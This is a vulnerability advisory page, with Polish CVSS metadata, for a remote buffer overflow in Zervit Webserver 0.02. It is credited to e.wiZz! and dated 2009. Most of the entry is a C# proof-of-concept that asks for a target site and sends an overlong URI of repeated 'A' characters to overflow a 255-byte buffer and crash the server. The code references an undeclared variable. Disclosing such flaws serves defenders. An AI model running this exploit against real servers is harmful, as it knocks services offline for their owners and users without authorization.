Zervit Webserver Buffer Overflow

2009.04.16
Credit: e.wiZz!
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

####### Zervit Webserver 0.02 Buffer Overflow ########## By: e.wiZz! #########Site: www.balcansecurity.com ######## Found with ServMeNot (world's sexiest fuzzer :P ) In the wild... ######################################################################################## ######Vend0r site: http://www.ohloh.net/projects/mereo /* When requested uri isn't found,it goes to char tmp[255], and later it is used to output,you need 256 chars to overflow (check source "http.c") */ using System; using System.IO; using System.Net; using System.Text; class whatsoever { static void Main() { // StringBuilder sb = new StringBuilder(); //byte[] buf = new byte[8192]; Console.WriteLine("Enter site: (http://localhost)"); string sajt = Console.ReadLine(); string uribad = "/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; HttpWebRequest request = (HttpWebRequest) WebRequest.Create(sajt+uribad); HttpWebResponse response = (HttpWebResponse) request.GetResponse(); // you shouldn't see response Console.WriteLine(sb.ToString()); } }

Referencje:

http://zervit.svn.sourceforge.net/viewvc/zervit/trunk/src/libz/misc.c?view=log
http://zervit.svn.sourceforge.net/viewvc/zervit/trunk/src/libz/misc.c?r1=17&r2=19


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top